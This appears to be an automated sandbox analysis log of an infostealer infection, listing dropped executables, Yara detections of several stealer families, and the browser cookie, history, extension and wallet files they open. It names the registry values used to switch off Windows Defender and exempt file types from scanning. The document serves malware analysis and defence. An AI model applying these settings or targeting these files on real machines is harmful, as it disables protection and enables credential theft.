Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Queries volume information: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Queries volume information: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\lockfile VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\lockfile VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe

Code function: 7_2_00408863 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

7_2_00408863

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender real time protection (registry)

Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{7F44006F-4BAB-480A-9050-95ACCAEC3314}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions	Registry value created: Exclusions_Extensions 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{7F44006F-4BAB-480A-9050-95ACCAEC3314}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableAntiSpyware 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{7F44006F-4BAB-480A-9050-95ACCAEC3314}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableRoutinelyTakingAction 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{7F44006F-4BAB-480A-9050-95ACCAEC3314}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableBehaviorMonitoring 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{7F44006F-4BAB-480A-9050-95ACCAEC3314}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableOnAccessProtection 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{7F44006F-4BAB-480A-9050-95ACCAEC3314}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableScanOnRealtimeEnable 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{7F44006F-4BAB-480A-9050-95ACCAEC3314}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{7F44006F-4BAB-480A-9050-95ACCAEC3314}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{7F44006F-4BAB-480A-9050-95ACCAEC3314}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRawWriteNotification 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{6B21693A-22DD-4D17-ACCA-995B0978C91B}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableAntiSpyware 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{6B21693A-22DD-4D17-ACCA-995B0978C91B}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableRoutinelyTakingAction 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{6B21693A-22DD-4D17-ACCA-995B0978C91B}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions	Registry value created: Exclusions_Extensions 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{6B21693A-22DD-4D17-ACCA-995B0978C91B}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableBehaviorMonitoring 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{6B21693A-22DD-4D17-ACCA-995B0978C91B}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableOnAccessProtection 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{6B21693A-22DD-4D17-ACCA-995B0978C91B}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableScanOnRealtimeEnable 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{6B21693A-22DD-4D17-ACCA-995B0978C91B}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{6B21693A-22DD-4D17-ACCA-995B0978C91B}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{6B21693A-22DD-4D17-ACCA-995B0978C91B}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRawWriteNotification 1

Exclude list of file types from scheduled, custom, and real-time scanning

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Registry value created: Exclusions_Extensions 1			Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Registry value created: Exclusions_Extensions 1

Modifies Group Policy settings

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.0000000001028000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected CryptOne packer

Source: Yara match

File source: 0000000C.00000002.2320846713.0000000004319000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 20.3.EEmC0rfrxeQDEUW4Qmh7BQX4.exe.4920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.3.EEmC0rfrxeQDEUW4Qmh7BQX4.exe.4920000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000003.2296250403.0000000004920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match	File source: 41.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.A_22rjVO67ooiUk2ueyL6tMl.exe.3ce6ff0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.A_22rjVO67ooiUk2ueyL6tMl.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.A_22rjVO67ooiUk2ueyL6tMl.exe.3ce6ff0.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2606812448.0000000003C8C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.2465855956.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: 11.2.J9jGBSSbDD3yrTx79DzmOLls.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.J9jGBSSbDD3yrTx79DzmOLls.exe.ac7ac0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.J9jGBSSbDD3yrTx79DzmOLls.exe.ac7ac0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: J9jGBSSbDD3yrTx79DzmOLls.exe PID: 3652, type: MEMORYSTR

Yara detected RisePro Stealer

Source: Yara match	File source: 0000000D.00000003.2439988856.0000000005CB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2429156164.0000000005AF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\G1Y1cICOYjk_P6MTvNhL7sj.zip, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\i2FqtYqlXCxQLo2ZIevRzA8.zip, type: DROPPED

Yara detected Vidar stealer

Source: Yara match	File source: 9.2.ogoGQsWFwF_EcodN5qF7hiVC.exe.477ac0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.4510000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.42e7719.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.3.EEmC0rfrxeQDEUW4Qmh7BQX4.exe.4920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.4510000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.42e7719.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.2260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.2260000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.ogoGQsWFwF_EcodN5qF7hiVC.exe.450000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.ogoGQsWFwF_EcodN5qF7hiVC.exe.477ac0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.3.EEmC0rfrxeQDEUW4Qmh7BQX4.exe.4920000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2296250403.0000000004920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2337447194.0000000004510000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2317913229.0000000002260000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2320846713.0000000004210000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ogoGQsWFwF_EcodN5qF7hiVC.exe PID: 3056, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: zfQlIB6J8n2u_zLV5LHnA1xW.exe PID: 3920, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 41.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.A_22rjVO67ooiUk2ueyL6tMl.exe.3ce6ff0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.A_22rjVO67ooiUk2ueyL6tMl.exe.3ce6ff0.8.unpack, type: UNPACKEDPE

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\formhistory.sqlite
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
